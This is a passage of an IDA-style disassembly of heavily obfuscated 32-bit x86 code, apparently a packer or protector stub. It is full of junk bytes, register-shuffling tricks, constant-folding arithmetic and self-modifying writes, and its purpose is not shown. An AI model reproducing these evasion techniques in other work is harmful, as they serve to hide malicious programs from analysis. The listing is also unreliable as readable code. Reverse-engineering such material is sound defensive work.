DATA XREF: sub_430C13-AC1o add ebx, 3D5C3B8h add eax, ebx pop ebx jmp loc_4322A0 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_431F5F loc_430A3A: ; CODE XREF: sub_431F5F:loc_430B0Ej jz loc_430FBB jmp loc_431971 ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- db 2 dup(0), 33h ; --------------------------------------------------------------------------- retf 19E9h ; --------------------------------------------------------------------------- db 0F1h dd 0FFFFh ; --------------------------------------------------------------------------- loc_430A50: ; CODE XREF: fzj3qwht:loc_432601j call sub_42F263 loc_430A55: ; CODE XREF: fzj3qwht:0043252Bj jmp loc_42F8E7 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_430A5C proc near ; CODE XREF: fzj3qwht:004301E8p ; fzj3qwht:00432437j ; FUNCTION CHUNK AT 00432538 SIZE 00000011 BYTES xchg ecx, [esp+0] xchg ebp, [esp+0] mov ecx, ebp pop ebp xor eax, 19D8E3D8h jmp loc_432538 sub_430A5C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_430A70: ; CODE XREF: sub_42F4AE+FDj call sub_432090 add cl, ch dec eax sbb al, [eax] ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_430A7B: ; CODE XREF: fzj3qwht:004301FDj jmp loc_430DC9 ; --------------------------------------------------------------------------- mov byte ptr [esi], 0F7h pop esi add eax, 0E333E616h mov eax, [eax] pushf push 8A084C90h pop ecx sub ecx, 27FDBE04h and ecx, 8B247CE8h xor ecx, 2000C82h popf cdq jmp loc_431720 ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD "+" TO EXPAND] align 10h loc_430AB0: ; CODE XREF: fzj3qwht:0042EDC4j jmp locret_43050C ; --------------------------------------------------------------------------- align 2 dw 7DE9h dd 0FFFFEFh, 0E08100C3h, 0F03BC797h, 0A521C081h, 0C5F4D50Ah dd 0FFFDC2E8h db 0FFh ; --------------------------------------------------------------------------- loc_430AD1: ; CODE XREF: fzj3qwht:004311B0j jmp locret_43201D ; --------------------------------------------------------------------------- dw 880Fh dd 0FFFFECA0h, 0FFF422E9h, 810000FFh, 0E3E96CCBh, 0F005E995h db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_430AEE proc near ; CODE XREF: sub_431686:loc_43278Ep ; FUNCTION CHUNK AT 00430C3D SIZE 0000000C BYTES xchg edx, [esp+0] xchg edi, [esp+0] mov edx, edi pop edi push 0A9064E4Ch pop ebx and ebx, 1B53BD8Dh jmp loc_430C3D sub_430AEE endp ; sp-analysis failed ; --------------------------------------------------------------------------- add eax, 0E7D41996h ; START OF FUNCTION CHUNK FOR sub_431F5F loc_430B0E: ; CODE XREF: sub_431F5F:loc_431E9Fj jo loc_430A3A push 432794h jmp loc_42F134 ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- align 10h retn ; --------------------------------------------------------------------------- jmp loc_431E06 ; --------------------------------------------------------------------------- dw 6857h dd 12E1B58Fh, 0DBEF815Fh, 8120211Ah, 64D75CCFh, 16EF814Bh dd 816A740Ah, 0D223C4C7h, 0F7E1E96Eh, 0FFFFh, 1C87D103h dd 3C875B24h, 68505F24h, 6CBB7C99h, 0FFF8E0E9h, 820F00FFh dd 1AE6h ; =============== S U B R O U T I N E ======================================= sub_430B68 proc near ; CODE XREF: sub_42F4AE-2A7p ; sub_43041D-D08j arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax xchg edx, [esp-4+arg_0] jmp nullsub_139 sub_430B68 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 73E80000h, 0FFFFE4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_430B7C: ; CODE XREF: sub_431686+12BEj jns loc_4310C1 push 9E4C1933h pop eax push edi jmp near ptr dword_42E868+1Ch ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- loc_430B8E: ; CODE XREF: fzj3qwht:loc_432001j xor eax, 9F56F3FFh call loc_4307A1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_430B9B: ; DATA XREF: fzj3qwht:0042F898o mov byte ptr [edx], 87h pop edx push offset word_43200E jmp locret_432000 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_430BAB: ; CODE XREF: fzj3qwht:loc_42F38Dj and esi, 56C30AC3h xor esi, 304C1929h sub esi, 20839A28h xor esi, 8F697A0h add esi, ebp add esi, 0A2801F59h call sub_42F04D loc_430BD0: ; CODE XREF: sub_430497+13j add cl, ch push esp or [eax], al ; --------------------------------------------------------------------------- db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_430BD8 proc near ; CODE XREF: sub_431686-5C0p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00432868 SIZE 0000000A BYTES xchg edx, [esp+0] pop edx xchg ecx, [esp-4+arg_0] mov eax, ecx pop ecx xor eax, 19D15691h sub eax, 82409A69h jmp loc_432868 sub_430BD8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 loc_430BF4: ; CODE XREF: fzj3qwht:0042F14Aj xor ebx, 97F0052Ah add ebx, 0A2115E5h sub ebx, 5F8A8645h add ebx, 0BE87D32Ah jmp loc_42F556 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_430C13 proc near ; CODE XREF: fzj3qwht:0042F8C2p ; fzj3qwht:0042FB18j ; FUNCTION CHUNK AT 0043013E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00431C41 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xor edx, 0C17A9617h add edx, ebp add edx, 0C9F2F653h jmp loc_431C41 sub_430C13 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301AC loc_430C2F: ; CODE XREF: sub_4301AC+1C1Dj jmp loc_43138D ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_430C36: ; CODE XREF: fzj3qwht:0042FE1Cj jmp locret_432044 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430AEE loc_430C3D: ; CODE XREF: sub_430AEE+15j jnz loc_431517 add [ebx+8C3E92Bh], cl ; END OF FUNCTION CHUNK FOR sub_430AEE ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) word_430C4E dw 0C009h ; DATA XREF: sub_42FFDE:loc_4317CCo dd 0E1AB850Fh, 0D0E9FFFFh, 87FFFFDCh, 5559240Ch, 6A68EE8Bh dd 0E90042FCh, 0FFFFFE50h, 5A241487h, 0DDFEC681h, 1689FCB6h dd 0E9242C87h, 0FFFFF603h, 288B0000h, 12E9CD85h, 19h ; =============== S U B R O U T I N E ======================================= sub_430C8C proc near ; CODE XREF: fzj3qwht:0042F2AFj ; fzj3qwht:0043291Cp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042F2A8 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add ebx, 9A06B325h loc_430C96: ; DATA XREF: sub_431167-224Bo xchg ebx, [esp-4+arg_0] jmp loc_42F2A8 sub_430C8C endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_431686 loc_430CA0: ; CODE XREF: sub_431686:loc_42F3B0j mov byte ptr [esi], 9Dh pop esi add esi, ebp add esi, 0D6554B8Ah mov esi, [esi] xchg esi, [esp+4+var_4] push ebx loc_430CB2: ; DATA XREF: sub_431686-2344o pushf jmp loc_432306 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- dd 3C60000h, 7C65B8Bh, 535A5F89h, 54368668h, 0F92AE99Fh dd 0FFFFh, 0D901F381h, 1C870002h ; --------------------------------------------------------------------------- and al, 88h ; DATA XREF: sub_4316FE+Bo adc eax, offset dword_42A104 mov esp, ebp jmp loc_432633 ; --------------------------------------------------------------------------- align 4 add esi, ebp add esi, 6820699Fh mov esi, [esi] push 43081Eh jmp locret_430810 ; --------------------------------------------------------------------------- dd 243C8700h, 0C015FF5Fh, 6A0042A0h, 0C015FFFFh, 0E90042A0h dd 0FFFFF611h, 0A8B0000h, 744AC581h, 74E9F319h, 0FFFFECh dd 5FDF8B00h, 87F18B56h, 0DFE92434h, 0FFFFF9h, 0D681C60Bh dd 63D54C62h, 0FFE23CE9h, 870000FFh, 815A2414h, 0FCA4C7F3h db 0BFh db 0DFh, 0D3h, 0E8h ; DATA XREF: fzj3qwht:00431E0Ao dd 1B76h db 0 ; --------------------------------------------------------------------------- loc_430D55: ; CODE XREF: fzj3qwht:0042F7BAj xchg edx, [esp] mov ebp, esp push ebp mov ebp, ecx push 42F619h jmp locret_42EE5D ; --------------------------------------------------------------------------- align 4 dd 8707C600h, 1C58685Fh, 815B2892h, 0AC5EFCBh, 0A6C3815Ah dd 0E885A81Bh, 0FFFFEC13h db 0 ; --------------------------------------------------------------------------- loc_430D85: ; DATA XREF: sub_42F4AE+205o xchg ebx, [esp] push ecx mov ecx, edi xchg ecx, [esp] pushf push 7AB0900Ah jmp loc_43050D ; --------------------------------------------------------------------------- db 0E8h, 0EAh, 0E3h dd 0FFFFh, 1368E9h, 0E9000000h, 1442h, 24148700h, 3FC0815Ah dd 0E8BA6637h, 1A10h db 2 dup(0) ; --------------------------------------------------------------------------- locret_430DBE: ; CODE XREF: fzj3qwht:0042ED3Ej retn ; --------------------------------------------------------------------------- align 10h mov edi, [ecx] not esi jmp sub_42F263 ; --------------------------------------------------------------------------- loc_430DC9: ; CODE XREF: fzj3qwht:loc_430A7Bj push offset loc_43257B jmp loc_4311DC ; --------------------------------------------------------------------------- align 4 dd 0FC45C700h, 1, 0EC7BBB53h, 45E90042h, 0FFFFDDh, 0D68B5200h dd 0E8241487h, 1857h, 0E900C300h, 0FFFFFB2Ah, 403E9h, 0E85FC300h dd 0FFFFEAD4h, 755E9h, 87000000h, 76BE9F5h, 0 ; --------------------------------------------------------------------------- loc_430E18: ; CODE XREF: fzj3qwht:loc_43038Bj popf xor eax, eax mov [ebp-10h], eax cmp dword ptr [ebp-8], 0 jmp near ptr dword_42F78C+1Ah ; =============== S U B R O U T I N E ======================================= sub_430E27 proc near ; CODE XREF: fzj3qwht:00431EE8p ; FUNCTION CHUNK AT 0042F7CC SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042FD05 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431811 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00431FD9 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov edi, offset loc_42F7D3 jmp loc_42FD05 sub_430E27 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 dw 128Bh dd 572414DBh, 43124F68h, 0E5F5E900h db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_430E46 proc near ; CODE XREF: fzj3qwht:0042EDEDj ; sub_430C13:loc_43013Ep ; FUNCTION CHUNK AT 0042F957 SIZE 0000000F BYTES xchg ebx, [esp+0] pop ebx mov [edx], eax pop edx jmp loc_42F957 sub_430E46 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431167 loc_430E53: ; CODE XREF: sub_431167:loc_430837j xchg ecx, [esp+0] or eax, ebx jmp loc_430E98 ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0FFED1989h, 0D38B52FFh, 0BB241487h, 42F786h, 0FFE907E9h db 0FFh db 50h, 0E8h, 2Ch ; DATA XREF: sub_42FA52+24FAo dd 0F000012h, 0B448Dh, 0E9000000h, 0FFFFDFA8h, 0C58DC281h dd 2AE921FAh, 0Bh db 0 ; --------------------------------------------------------------------------- locret_430E95: ; CODE XREF: fzj3qwht:0042FEF1j retn ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_431167 loc_430E98: ; CODE XREF: sub_431167-30Fj jmp loc_42EF10 ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- db 2 dup(0), 0E8h ; CODE XREF: fzj3qwht:loc_432789j dd 1812h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_430EA7: ; CODE XREF: sub_4301B7:loc_42ED0Aj ; fzj3qwht:loc_42EE5Ej add eax, 0B2473A38h loc_430EAD: ; DATA XREF: fzj3qwht:00430ED8o imul eax, ebp, 7F58C081h lodsb fmul qword ptr [ebx-347EF100h] stc ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- db 0FFh dd 0E11CE9FFh, 0FFFFh, 0FF02885Fh, 45FFF04Dh, 0F07D0CFCh dd 1F8D0F00h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_430ED7: ; CODE XREF: fzj3qwht:loc_431B61j push edx mov edx, offset loc_430EAD jmp loc_431A25 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_430EE3: ; CODE XREF: fzj3qwht:00431013j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_430EE6: ; CODE XREF: sub_42F4AE+1C9j jmp near ptr dword_42EA44+0D3h ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 4 dd 89800F00h, 0FFFFFDFh, 0FFFEF188h, 0E003E9FFh, 0FFFFh dd 0DD7CE950h, 0C87FFFFh, 0F0B3E924h, 1C6FFFFh, 0F9F759FFh dd 0FACE6851h, 0C1590745h, 0F18117C1h, 32BFDF64h, 0FFF53DE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; =============== S U B R O U T I N E ======================================= sub_430F2A proc near ; CODE XREF: sub_4312D7+859p ; FUNCTION CHUNK AT 0043246C SIZE 0000000A BYTES xchg edx, [esp+0] pop edx push eax mov eax, offset loc_42F84D jmp loc_43246C sub_430F2A endp ; --------------------------------------------------------------------------- align 2 dw 0D068h dd 0E900430Ch, 0FFFFF8CFh db 0 ; --------------------------------------------------------------------------- loc_430F45: ; CODE XREF: fzj3qwht:0042FEB4j ror eax, 1Eh ; =============== S U B R O U T I N E ======================================= sub_430F48 proc near ; CODE XREF: sub_4301AC+1B25p ; FUNCTION CHUNK AT 0042FB2D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004303B9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043167B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00432450 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004327D8 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push edi push 452D8DE0h pop edi jmp loc_432450 sub_430F48 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD "+" TO EXPAND] align 4 ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_430F5C: ; CODE XREF: sub_42F4AE+F0j ; fzj3qwht:004317E8j xor edx, edi xchg eax, [esp-0Ch+arg_8] loc_430F61: ; CODE XREF: sub_431686:loc_432775j xchg edi, [esp-0Ch+arg_8] push offset byte_43217D jmp loc_43000C ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 10h pop ecx xchg ebx, [eax] jmp loc_4328CA ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431E69 loc_430F79: ; CODE XREF: sub_431E69+Dj mov eax, offset loc_43287C jmp loc_432872 ; END OF FUNCTION CHUNK FOR sub_431E69 ; --------------------------------------------------------------------------- align 4 dd 241FBF00h, 46E90043h, 87FFFFE5h, 0DDBF240Ch, 0E900431Bh dd 89Fh, 788C6800h, 815B212Fh, 6746B0EBh, 58C38102h db 6Fh, 7Ah, 0E1h byte_430FAF db 66h ; DATA XREF: fzj3qwht:00432680o ; --------------------------------------------------------------------------- sbb al, 24h retn ; --------------------------------------------------------------------------- align 4 loc_430FB4: ; CODE XREF: fzj3qwht:0042E901j jmp loc_43100B ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_430FBB: ; CODE XREF: sub_431F5F:loc_430A3Aj mov edx, [eax] or edx, edx jmp loc_4325FB ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- db 2 dup(0) aHSoxbstxpchC db 'hÝš‘®Xè’•¯—hê(C',0 ; DATA XREF: fzj3qwht:0042EE9Ao db 0E9h ; --------------------------------------------------------------------------- push ebx fdivr st, st(7) inc dword ptr [eax] add bl, al ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_430FDF: ; CODE XREF: sub_42F4AE+11Bj jmp nullsub_143 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dd 0EC49BB53h, 79E90042h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_430FEF: ; CODE XREF: fzj3qwht:0043265Bj mov edi, ecx xchg edi, [esp] push 0B2061AFCh pop esi and esi, 0E05E21C9h or esi, 12BB8FE4h jmp loc_43284F ; --------------------------------------------------------------------------- loc_43100B: ; CODE XREF: fzj3qwht:loc_430FB4j add eax, edi pop edi push offset word_43263A jmp locret_430EE3 ; --------------------------------------------------------------------------- dd 6C60000h, 0A0B95E03h, 0E90042EAh, 0FFFFE9ACh, 240C8700h ; CODE XREF: sub_431C85+Cj dd 8B243C87h, 7C65FCFh, 0E02688Bh, 0C2E90043h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43103F: ; CODE XREF: fzj3qwht:0042F90Cj xchg eax, [esp] pop eax push ebx push edx push 0B83AA6B6h pop edx jmp loc_43162A ; --------------------------------------------------------------------------- dd 0EF815F00h, 0CF3419F8h, 0C781C7D1h, 10899CFCh, 0E906C7C1h dd 0FFFFE3DAh, 0CE815E00h, 8C44D0DDh, 8716F681h, 0C6C16A5Dh dd 0AAC68112h, 0E98C9B5Eh, 0FFFFEDEBh, 8B06C600h, 8FCE8h db 3 dup(0) ; --------------------------------------------------------------------------- loc_43108F: ; CODE XREF: fzj3qwht:00430377j jmp loc_42F34C ; --------------------------------------------------------------------------- dd 3C870000h, 54885F24h, 0BE68E005h, 5840EFB1h, 0F4D5E881h dd 0C0814095h, 0A0EC7B95h, 0FFDB48E9h, 0B2810FFFh, 0E9000017h dd 0DBDh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_4310C1: ; CODE XREF: sub_431686:loc_430B7Cj push 0D46C9A3Bh call sub_430BD8 loc_4310CB: ; CODE XREF: fzj3qwht:0042E8A7j jmp loc_42EC41 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- xchg edx, [esp] push 750CB83Fh xchg esi, [esp] mov ebx, esi jmp loc_432008 ; --------------------------------------------------------------------------- dw 0F00h dd 0FFE5B983h, 0E67EE9FFh, 0FFFFh, 0C481EC8Bh, 0FFFFFF74h dd 0FFDE64E8h, 0E90000FFh, 0FFFFEE4Fh, 2DE800h, 0 ; --------------------------------------------------------------------------- jmp loc_43127F ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_431113: ; CODE XREF: fzj3qwht:loc_42F99Ej jmp sub_42FCC8 ; --------------------------------------------------------------------------- loc_431118: ; CODE XREF: fzj3qwht:loc_42E950j mov byte ptr [eax], 87h xchg ecx, [esp] mov eax, ecx pop ecx mov ecx, esi pop esi jmp near ptr loc_43247B+1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_43112B: ; CODE XREF: sub_431F5F-2DF2j or ebx, 13FAD79Dh jmp near ptr dword_42EB78+39h ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- dw 8700h ; --------------------------------------------------------------------------- or al, 24h pop ecx push 42633AEBh pop edx sub edx, 0A0FC59DBh jmp loc_4326A3 ; --------------------------------------------------------------------------- dd 0ED810000h, 0BC7A3344h, 87241C87h, 0DA8B2414h, 9431685Ah dd 0B1E9472Fh db 0F5h, 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_431167 proc near ; CODE XREF: sub_431452p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042EF10 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042FF7C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430025 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430837 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430E53 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00430E98 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043281C SIZE 0000000F BYTES xchg esi, [esp+0] pop esi xchg ecx, [esp+0] xchg eax, [esp+0] mov ecx, eax pop eax push ecx mov ecx, eax jmp loc_430837 sub_431167 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0C7685300h, 872E4E3Ch, 0DD8B242Ch, 57C3D15Dh, 0FFFF7BE9h dd 30000FFh, 110CE9DAh, 0 ; --------------------------------------------------------------------------- loc_43119C: ; CODE XREF: fzj3qwht:loc_4309D2j mov esi, 42FBD7h jmp near ptr byte_42F52D+2 ; --------------------------------------------------------------------------- loc_4311A6: ; CODE XREF: fzj3qwht:loc_43025Aj mov byte ptr [edx], 89h pop edx push edi push offset loc_42FD94 jmp loc_430AD1 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0FFF18787h, 240C87FFh, 8BF08159h, 0E9DA5CD1h, 0FFFFDAAFh ; CODE XREF: fzj3qwht:00432362p dd 0F87D83h, 6568D0Fh, 0CBE80000h, 0FFFFEAh ; --------------------------------------------------------------------------- loc_4311DC: ; CODE XREF: fzj3qwht:00430DCEj jmp locret_42F584 ; --------------------------------------------------------------------------- align 2 dw 0CEC1h dd 0F780E918h, 8F0FFFFFh, 0A9Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_4311F0: ; CODE XREF: sub_431F5F:loc_42F167j call sub_42A134 loc_4311F5: ; CODE XREF: fzj3qwht:0043036Aj ; sub_431F5F+Bj xchg ebx, [esp+0] mov eax, ebx jmp loc_431D14 ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- align 10h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_431202: ; CODE XREF: fzj3qwht:004306E9j retn ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFF107h, 67680000h, 0E9004318h, 0FFFFFC6Bh, 3C87FA8Bh dd 1BDBA24h, 0FAE90043h, 3 ; --------------------------------------------------------------------------- loc_431228: ; CODE XREF: fzj3qwht:loc_432467j mov byte ptr [eax], 1 pop eax lodsb loc_43122D: ; DATA XREF: fzj3qwht:0042FB7Fo add edx, eax rol edx, 3 loc_431232: ; CODE XREF: fzj3qwht:0042F7BFj call near ptr dword_42F064+3Fh ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431AED loc_431239: ; CODE XREF: sub_431AED+Fj pop esi xchg ebx, [esp-4+arg_0] mov ecx, ebx pop ebx push 0C4F30422h xchg esi, [esp-4+arg_0] mov eax, esi jmp loc_4316D0 ; END OF FUNCTION CHUNK FOR sub_431AED ; --------------------------------------------------------------------------- db 9Ch dd 0C9A47C68h, 0CF815F5Ah, 2E8D35F7h, 0FCDBC781h, 0FD030241h dd 4D32C781h, 0A1E97EF0h, 0FFFFEAh ; --------------------------------------------------------------------------- loc_431270: ; CODE XREF: fzj3qwht:loc_42F984j call sub_42FF32 ; --------------------------------------------------------------------------- db 2 dup(0), 55h ; --------------------------------------------------------------------------- jmp loc_42E77C ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43127F: ; CODE XREF: fzj3qwht:0043110Cj push 0B9FA1DE8h pop edi rol edi, 11h add edi, 0F7BBB1CFh loc_43128E: ; CODE XREF: fzj3qwht:0042EA26j jmp loc_42FACF ; --------------------------------------------------------------------------- align 4 dd 0FD4A6800h, 0B8E90042h, 1, 0A4F0DB81h, 0DF1B33B6h, 9A5E9h dd 81000000h, 885C65CEh, 0E52CE9E3h, 0C300FFFFh ; --------------------------------------------------------------------------- loc_4312BC: ; CODE XREF: fzj3qwht:0042F492j jmp loc_43169A ; --------------------------------------------------------------------------- align 2 locret_4312C2: ; CODE XREF: fzj3qwht:004313A9j retn ; --------------------------------------------------------------------------- loc_4312C3: ; CODE XREF: fzj3qwht:00430832j pushf push edx push 0E5366D6Eh push esi mov esi, offset loc_42F957 jmp loc_42F8B4 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4312D7 proc near ; CODE XREF: sub_42F04D+Dp ; fzj3qwht:004303D5j ; FUNCTION CHUNK AT 0042F7B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004302A9 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00431B2E SIZE 00000007 BYTES xchg ebx, [esp+0] pop ebx push 0D8027EBFh xchg edi, [esp+0] mov eax, edi jmp loc_42F7B5 sub_4312D7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_431452 loc_4312EC: ; CODE XREF: sub_431452+96j xchg edx, [esp+0] mov edi, edx pop edx mov byte ptr [eax], 0C3h push edx push 0DE570ECDh xchg esi, [esp+4+var_4] jmp loc_42F4E0 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- rol ecx, 6 sub ecx, 69C05D74h xor ecx, 5C00984Eh sub ecx, 222D6085h add ecx, 8CB5E104h jmp loc_4325EE ; --------------------------------------------------------------------------- db 0E8h dd 0FFFFF826h, 0E77AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43132E: ; CODE XREF: fzj3qwht:0042F7F8j mov byte ptr [ebx], 88h pop ebx add edx, 30h push 0AB6C8639h pop eax jmp loc_4300D1 ; --------------------------------------------------------------------------- dd 242C8700h, 815DC58Bh, 0EB4CBAE0h, 0DAE88113h, 0E9EAF184h dd 0FFFFEA78h ; --------------------------------------------------------------------------- locret_431358: ; CODE XREF: fzj3qwht:00430881j retn ; --------------------------------------------------------------------------- db 2 dup(0), 87h dd 5B5B241Ch, 8B240C87h, 8F6859D9h, 0E9004302h, 0FFFFDB42h dd 26A2D281h, 0BCE9E887h, 0FFFFFDh, 0E9CF3B5Eh, 0FFFFFE33h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD "+" TO EXPAND] align 4 ; START OF FUNCTION CHUNK FOR sub_431F11 loc_431388: ; CODE XREF: sub_431F11+7j jmp loc_43270D ; END OF FUNCTION CHUNK FOR sub_431F11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301AC loc_43138D: ; CODE XREF: sub_4301AC:loc_430C2Fj add edi, 91DF98CFh cmp eax, edi pop edi jmp near ptr byte_42E865+2 ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- align 4 dd 0E9589D00h, 0FFFFF8C8h ; --------------------------------------------------------------------------- loc_4313A4: ; CODE XREF: fzj3qwht:004328B3j push offset dword_4308DC jmp locret_4312C2 ; --------------------------------------------------------------------------- dw 8100h dd 0E53B80C5h, 0EE5EE9A5h, 0FFFFh, 689C008Bh, 0C4D4678Ah dd 0F64E959h db 3 dup(0) ; --------------------------------------------------------------------------- loc_4313CB: ; CODE XREF: fzj3qwht:loc_42F9FAj call sub_43239B sbb esi, ebx and eax, 17AD334Ah rol eax, 18h xor eax, 655EA351h push offset word_4327A6 jmp locret_43188F ; --------------------------------------------------------------------------- loc_4313EB: ; CODE XREF: fzj3qwht:loc_42FA05j jp loc_430173 ; =============== S U B R O U T I N E ======================================= sub_4313F1 proc near ; CODE XREF: fzj3qwht:0043027Cp xchg ecx, [esp+0] pop ecx push edx push 42ECA6h jmp nullsub_157 sub_4313F1 endp ; --------------------------------------------------------------------------- dd 11870000h, 0E914E9C1h, 0FFFFF08Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_43140E: ; CODE XREF: fzj3qwht:00430174j mov [ebx], ecx ; =============== S U B R O U T I N E ======================================= sub_431410 proc near ; CODE XREF: fzj3qwht:0042EFC8p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0042FE63 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00431A18 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00431A37 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 004320F3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00432616 SIZE 